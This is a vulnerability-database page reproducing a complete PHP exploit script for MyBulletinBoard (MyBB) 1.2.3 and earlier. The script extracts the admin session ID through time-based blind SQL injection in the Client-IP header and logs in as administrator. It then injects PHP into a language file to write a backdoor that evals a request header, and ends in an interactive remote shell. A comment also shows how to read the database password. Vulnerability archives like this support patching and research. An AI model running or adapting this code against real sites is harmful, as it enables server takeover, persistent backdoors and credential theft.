Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline

mybb-exec.txt

🗓️ 04 Apr 2007 00:00:00Reported by DarkFigType 
packetstorm
 packetstorm🔗 packetstormsecurity.com👁 22 Views

MyBulletinBoard (MyBB) <= 1.2.3 Remote Code Execution Exploi

Show more
Code
`#!/usr/bin/php  
<?php  
/**  
* This file require the PhpSploit class.  
* If you want to use this class, the latest  
* version can be downloaded from acid-root.new.fr.  
**/  
require("phpsploitclass.php");  
error_reporting(E_ALL ^ E_NOTICE);  
  
# http://www.milw0rm.com/exploits/2012  
# They corrected (not all) a lot of SQL requests which use the ipaddress, with $db->escape_string.  
# They don't corrected the function (this is a choice ... the bad) and they forgot to correct 1 (only) SQL request.  
# They must correct the problem at the source =)  
#  
if($argc < 3)  
{  
print("  
--- MyBulletinBoard (MyBB) <= 1.2.3 Remote Code Execution Exploit ---  
-----------------------------------------------------------------------  
PHP conditions: none  
Credits: DarkFig <[email protected]>  
URL: http://www.acid-root.new.fr/  
-----------------------------------------------------------------------  
Usage: $argv[0] -url http://victim.com/ [Options]  
Params: -url For example http://victim.com/myBB/  
Options: -debug Debug mod activated (debug_mybb.html)  
-truetime Server response time which returns true  
-benchmark You can change the value used in benchmark()  
-proxy If you wanna use a proxy <proxyhost:proxyport>   
-proxyauth Basic authentification <proxyuser:proxypwd>  
Note: If you have some problems use -debug, -benchmark, -truetime  
-----------------------------------------------------------------------  
");exit(1);  
}  
  
$url = getparam('url',1);  
$debug = (getparam('debug')!='') ? 1 : 0;  
$benchmark = (getparam('benchmark')!='') ? getparam('benchmark') : '1000000';  
$proxy = getparam($proxy);  
$proxyauth = getparam($proxyauth);  
  
$backdoor = 'uploads/avatars/backdoor.php'; # inc/cache/backdoor.php  
$filetoed = 'index.lang.php';  
  
$xpl = new phpsploit();  
$xpl->agent('Firefox');  
if($proxy) $xpl->proxy($proxy);  
if($proxyauth) $xpl->proxyauth($proxyauth);  
if($debug) debug(1);  
  
# There is two solutions to be logged in as administrator.  
#  
# SOLUTION NUMBER 1  
# mysql> select * from mybb_users\G  
# *************************** 1. row ***************************  
# uid: 1  
# username: root  
# password: 39ac8681f5cf4fcd9c9c09719a618bd3  
# salt: BFeJBOCF  
# loginkey: VYLJia9InmLgM1PT6v2whyMbaoSuprngLnkW55j3zlywItyZBA...  
#  
# $xpl->post($url.'admin/index.php','username=root&password=toor&do=login&goto=');  
# print $xpl->getcontent(); // ...Welcome to the MyBB Administration Control Panel...  
#   
# SOLUTION NUMBER 2  
# mysql> select * from mybb_adminsessions\G  
# *************************** 1. row ***************************  
# sid: 81e267263b9254f3aaf670383bfbfec9  
# uid: 1  
# loginkey: VYLJia9InmLgM1PT6v2whyMbaoSuprngLnkW55j3zlywItyZBA  
# ip: 127.0.0.1  
# dateline: 1175443967  
# lastactive: 1175444369  
#  
# $xpl->addheader('Client-IP','127.0.0.1');  
# $xpl->get($url.'admin/index.php?adminsid=81e267263b9254f3aaf670383bfbfec9');  
# print $xpl->getcontent(); // ...Welcome to the MyBB Administration Control Panel...  
#  
# I decided to use the solution number 2.  
# We can also add an administrator (easily) ... but it's not interesting.  
#  
print "\nAdmin IP : "; $ip = sql_inject('ip');  
print "\nAdmin sid: "; $sid = sql_inject('sid');  
print "\nTrying to be logged in as administrator";  
  
$xpl->addheader('Client-IP',$ip);  
$xpl->get($url."admin/languages.php?adminsid=$sid");  
  
# Trying to find the language  
if(preg_match('#<input type="hidden" name="lang" value="(\S*)"#',$xpl->getcontent(),$langmatches)) $lang=$langmatches[1];  
else $lang='english';  
print "\nLanguage: $lang";  
  
# Language configuration  
$xpl->get($url."admin/languages.php?adminsid=$sid&action=edit&lang=$lang&editwith=0&file=$filetoed");  
preg_match_all('#name="(.*)">(.*)</textarea>#',$xpl->getcontent(),$name_value);  
  
# We can't use:  
# - <? OR <?php  
# - <script language="php">  
# - ' OR "  
#  
$PHPCODE = '${${error_reporting(0)}}'  
.'${${$handle=fopen('.chrit('./'.$backdoor).','.chrit('w').')}}'  
.'${${fwrite($handle,'.chrit('<?php error_reporting(0);eval($_SERVER[HTTP_SHELL]);exit(0); ?>').')}}'  
.'${${fclose($handle)}}';  
$name_value[2][0] .= $PHPCODE;  
  
$postdata=array(frmdt_url => $url.'admin/languages.php',  
"adminsid" => $sid, "action" => "do_edit",  
"lang" => $lang, "editwith" => 0,  
"inadmin"=> 0, "file"=> $filetoed,  
"Update Language Variables"=>" Update Language Variables");  
  
for($i=0;$i<count($name_value[1]);$i++) $postdata[html_entity_decode($name_value[1][$i])] = html_entity_decode($name_value[2][$i]);  
  
# print $xpl->showlastrequest();  
$xpl->formdata($postdata);  
  
# Trying to execute the php code  
$xpl->get($url.'index.php');  
  
# If not the default language  
$xpl->get($url.'inc/languages/'.$lang.'/'.$filetoed);  
print "\nThe php file should be created\n\$shell> ";  
  
# Hello master  
while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))  
{  
# ');include('../../inc/config.php');print $config['password'];//  
$xpl->addheader('Shell',"system('$cmd');");  
$xpl->get($url.$backdoor);  
print $xpl->getcontent()."\n\$shell> ";  
}  
  
function sql_inject($field)  
{  
global $xpl,$url,$prefix,$debug,$result,$bef,$aft,$truetime,$benchmark,$a,$b,$sub,$f; #,$fakeip  
$sub=0;$string='';  
  
if($field=='ip') {$a='44';$b='57';} # . 0-9  
else {$a='46';$b='70';} # 0-9 A-Z  
  
while(TRUE)  
{  
$sub++;  
for($i=$a;$i<=$b;$i++)  
{  
# Random ip  
$fakeip = rand(128,254).'.'  
.rand(128,254).'.'  
.rand(128,254).'.'  
.rand(128,254);  
  
# Calculation of the server response time which returns TRUE  
if($i==$a) $f='TST';  
  
# End of the string ?  
elseif($i==($a+1)) $f='NULL';  
  
# Test the char  
else $f=$i;  
  
# Table prefix  
if($sub==1 AND $i==$a)  
{  
$xpl->addheader('Client-IP',$fakeip."'<script>alert(666)</script>");  
$xpl->get($url.'index.php');  
  
if(preg_match("#DELETE FROM (\S*)sessions#i",$xpl->getcontent(),$match)) $prefix=$match[1];  
else $prefix='mybb_';  
}  
  
# +-class_session.php (#2)  
# |  
# 475. function create_session($uid=0)  
# 476. {  
# 477. global $db;  
# 478. $speciallocs = $this->get_special_locations();  
# 479.  
# 480. // If there is a proper uid, delete by uid.  
# 481. if($uid > 0)  
# 482. {  
# 483. $db->delete_query(TABLE_PREFIX."sessions", "uid=".$uid);  
# 484. $onlinedata['uid'] = $uid;  
# 485. }  
# 486. // Else delete by ip.  
# 487. else  
# 488. { // $this->ipaddress = get_ip();  
# 489. $db->delete_query(TABLE_PREFIX."sessions", "ip='".$this->ipaddress."'");  
# 490. $onlinedata['uid'] = 0;  
# 491. }  
#  
$sql = $fakeip."' OR ip=(SELECT IF(SUBSTR(";  
$sql .= ($f=='TST') ? "(SELECT 1)" : "(SELECT $field FROM ${prefix}adminsessions ORDER BY lastactive DESC LIMIT 1)";  
$sql .= ($f=='TST') ? ",1" : ",$sub";  
$sql .= ($f=='TST') ? ",1)=CHAR(49)" : ",1)=CHAR($f)";  
$sql .= ",BENCHMARK($benchmark,CHAR(66)),1)) #";  
  
  
# +-functions.php (#1)  
# |  
# 1836. function get_ip()  
# 1837. {  
# 1838. if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))  
# 1839. {  
# 1840. if(preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $addresses))  
# 1841. {  
# 1842. foreach($addresses[0] as $key => $val)  
# 1843. {  
# 1844. if(!preg_match("#^(10|172\.16|192\.168)\.#", $val))  
# 1845. {  
# 1846. $ip = $val;  
# 1847. break;  
# 1848. }  
# 1849. }  
# 1850. }  
# 1851. }  
# 1852. if(!isset($ip))  
# 1853. {  
# 1854. if(isset($_SERVER['HTTP_CLIENT_IP']))  
# 1855. {  
# 1856. $ip = $_SERVER['HTTP_CLIENT_IP'];  
# 1857. }  
# 1858. else  
# 1859. {  
# 1860. $ip = $_SERVER['REMOTE_ADDR'];  
# 1861. }  
# 1862. }  
# 1863. return $ip;  
# 1864. }  
#  
$bef = time();  
$xpl->reset('header');  
$xpl->addheader('Client-IP',$sql);  
$xpl->get($url.'index.php');  
$aft = time();  
  
if($f=='TST') $truetime=$aft-$bef;  
if(getparam('truetime')!='') $truetime=getparam('truetime');  
  
# Server response time >= Server response time which returns TRUE ?  
$restime = $aft-$bef;  
if($restime >= $truetime AND $f != 'TST') $result='TRUE';  
else $result='FALSE';  
  
# Debug mode activated  
if($debug) debug('',$field);  
  
# The tested char returns TRUE  
if($result=='TRUE')  
{  
if($f!='NULL')  
{  
# Continue  
print strtolower(chr($f));  
$string .= chr($f);  
break;  
}  
else  
{  
# End of the string  
$xpl->reset('header');  
return $string;  
}  
}  
  
# Retry if no char found  
if($f==$b) $sub--;  
}  
}  
}  
  
function debug($init='',$dafield='')  
{  
global $result,$bef,$aft,$truetime,$benchmark,$a,$b,$sub,$f; #,$fakeip  
if($init)  
{  
$handle = fopen("debug_mybb.html","w+");  
$data = "<h1><div align='center'>MyBulletinBoard (MyBB) <= 1.2.3 Code Execution Exploit</div></h1>  
<pre><table width='0' border='1' align='center' cellspacing='0'><tr>  
<td align='center'><b>REQUEST TIME</b></td>  
<td align='center'><b>RESPONSE TIME</b></td>  
<td align='center'><b>TRUETIME</b></td>  
<td align='center'><b>BENCHMARK</b></td>  
<td align='center'><b>RESULT</b></td>";  
# <td align='center'><b>IP</b></td>  
$data .= "<td align='center'><b>FIELD</b></td>  
<td align='center'><b>CHARSET</b></td>  
<td align='center'><b>SUBSTR()</b></td>  
<td align='center'><b>ORD()</b></td>  
<td align='center'><b>CHAR()</b></td>";  
fwrite($handle,$data);  
fclose($handle);  
}  
else  
{  
$handle = fopen("debug_mybb.html","a");  
$data = "<tr".(($result=='TRUE') ? " bgcolor='#FFFF00'" : "").">  
<td align='center'>&nbsp;".htmlentities($bef)."&nbsp;</td>  
<td align='center'>&nbsp;".htmlentities($aft)."&nbsp;</td>  
<td align='center'>&nbsp;".htmlentities($truetime)."&nbsp;</td>  
<td align='center'>&nbsp;".htmlentities($benchmark)."&nbsp;</td>  
<td align='center'>&nbsp;".htmlentities($result)."&nbsp;</td>";  
# <td align='center'>&nbsp;".htmlentities($fakeip)."&nbsp;</td>  
$data .= "<td align='center'>&nbsp;".htmlentities($dafield)."&nbsp;</td>  
<td align='center'>&nbsp;".htmlentities("$a-$b")."&nbsp;</td>  
<td align='center'>&nbsp;".htmlentities($sub)."&nbsp;</td>  
<td align='center'>&nbsp;".htmlentities($f)."&nbsp;</td>  
<td align='center'>&nbsp;".htmlentities(chr($f))."&nbsp;</td></tr>";  
fwrite($handle,$data);  
fclose($handle);  
}  
}  
  
function chrit($string)  
{  
$char = '';  
for($i=0;$i<strlen($string);$i++)  
{  
$char .= 'chr('.ord($string[$i]).')';  
$char .= ($i != (strlen($string)-1)) ? '.' : '';  
}  
return $char;  
}  
  
function getparam($param,$opt='')  
{  
global $argv;  
foreach($argv as $value => $key)  
{  
if($key == '-'.$param) {  
if(!empty($argv[$value+1])) return $argv[$value+1];  
else return 1;  
}  
}  
if($opt) exit("\n-$param parameter required");  
else return;  
}  
?>  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
04 Apr 2007 00:00Current
7.4High risk
Vulners AI Score7.4
phpsploit classsql requestsmilw0rm exploitremote code executiondarkfigacid-root.new.frdebug modebenchmarkproxyproxyauthadministrator loginlanguage configurationphp code
22
.json
Report